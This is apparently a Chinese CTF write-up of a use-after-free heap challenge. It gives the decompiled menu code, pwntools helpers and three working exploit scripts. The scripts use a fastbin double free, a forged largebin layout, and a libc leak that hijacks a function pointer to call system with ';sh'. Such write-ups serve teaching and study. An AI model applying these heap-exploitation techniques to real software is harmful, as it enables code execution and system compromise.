use after free
在free的时候没有把指针置 NULL,导致可以再次free,从而出现一些问题
checksec
main
程序逻辑如下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_servant();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_servant();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_servant();
}
}
}
堆类型题目的常见出题形式。首先有个菜单
- Add servant
- Delete servant
- Print servant
- Exit
菜单的项分别对应堆的分配、释放、打印,有的还会有修改功能。
看到add_servant函数
unsigned int add_servant()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !servantlist[i] )
{
servantlist[i] = malloc(8u);
if ( !servantlist[i] )
{
puts("Error");
exit(-1);
}
*(_DWORD *)servantlist[i] = print_servant_content;
puts("the size of servant's name : ");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = servantlist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)servantlist[i] + 1) )
{
puts("Error");
exit(-1);
}
puts("ability : ");
read(0, *((void **)servantlist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
读取size,然后分配相应的size大小,会设置一个print_servant_content函数,并且只能分配5次。
print_servant_content函数
int __cdecl print_servant_content(int a1)
{
return puts(*(const char **)(a1 + 4));
}
print_servant函数
unsigned int print_servant()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
exit(0);
}
if ( servantlist[v1] )
(*(void (__cdecl **)(void *))servantlist[v1])(servantlist[v1]);
print函数就是调用servantlist[v1]
指向的函数。
del_servant函数
unsigned int del_servant()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
puts("Index : ");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound");
exit(0);
}
if ( servantlist[v1] )
{
free(*((void **)servantlist[v1] + 1));
free(servantlist[v1]);
puts("Success ");
}
return __readgsdword(0x14u) ^ v3;
}
只是一个简单的free,不过这里在free之后,没有把指针置NULL,导致可以use after free
由于是菜单类题目,常规套路是写一个模拟的功能。
from pwn import *
import os
context.log_level = 'debug'
p = process("./pwn")
def add(size,content):
p.recvuntil("choice:\n")
p.send("1")
p.recvuntil("servant's name : ")
p.send(str(size))
p.recvuntil("ability : ")
p.send(content)
def print_note(index):
p.recvuntil("choice:\n")
p.send("3")
p.recvuntil("Index :")
p.send(str(index))
def del_note(index):
p.recvuntil("choice:\n")
p.send("2")
p.recvuntil("Index : ")
p.send(str(index))
当需要哪个功能的时候,用对应的函数即可。
exp1-fastbin
这个题目的最简单的解法,是用fastbin attack直接修改servantlist[i]
将其执行一个secret函数
这是一个这个程序内置的函数,会执行一个shell
add(8,"C"*4) #
del_note(0) #0->1
del_note(0) #0->1->0->1
add(20,"4444") #1->0->1
add(8,p32(0x08048956))
#gdb.attach(p)
print_note(0)
p.interactive()
第5行add的时候,先分配一个1给servantlist[2]
然后分配0给内容,而内容正好是chunk0的servantlist[0]
指向的地址
所以此时print_note0就会调用secret函数
exp2-largebin
另外一种解法是才用largebin分配时,会清空所有的bin(在没有free的large bin的情况下)
add(256,"B"*20) #0
add(256,"D"*40) #1
del_note(1)
del_note(0)
#gdb.attach(p)
#0x9e89110: 0x00000000 0x00000000 0x00000108 0x00000011
#0x9e89120: 0x00000000 0x09e89130 0x00000000 0x00020ed9
#0x9e89130: 0x44444444 0x44444444 0x44444444 0x44444444
add(512,"A"*0x100+p32(0x108)+p32(0x11)+p32(0x08048956)) #2
print_note(1)
p.interactive()
在chunk2分配前,会清空chunk0,1的bins,所以需要去伪造出原来的样子。然后在对应的servantlist[1]
指向的地方填上secret函数的地址。
exp3-largebin
其实这个题目还可以再难一点,去掉secret函数,加上地址随机化。
add(256,"B"*20) #0
add(256,"4"*20) #1
del_note(1)
del_note(0)
add(256,"A"*4) #2
print_note(2) #
p.recvuntil("A"*4)
system_addr = u32(p.recv(4))-(0xb776a450-0xb75bd000)+0x040310 #main_arena+48
del_note(0)
#0xb760d310
#0x9e89110: 0x00000000 0x00000000 0x00000108 0x00000011
#0x9e89120: 0x00000000 0x09e89130 0x00000000 0x00020ed9
#0x9e89130: 0x44444444 0x44444444 0x44444444 0x44444444
#gdb.attach(p)
add(512,"A"*0x100+p32(0x108)+p32(0x11)+p32(system_addr)+";sh\x00") #
print_note(1)
p.interactive()
原理是一样的,不过首先需要用unsort bin leak出libc的基地址。
然后用同样的办法,伪造出system_addr函数。这里调用的参数是自己
(*(void (__cdecl **)(void *))servantlist[v1])(servantlist[v1]);
这样的话system的地址的shell命令肯定不存在,于是我们采用多语句的方式,用分号分隔,另起一个语句,\x00代表结束,即可getshell
俊杰师傅啥都会
时间: 2018-10-25 at 11:29 回复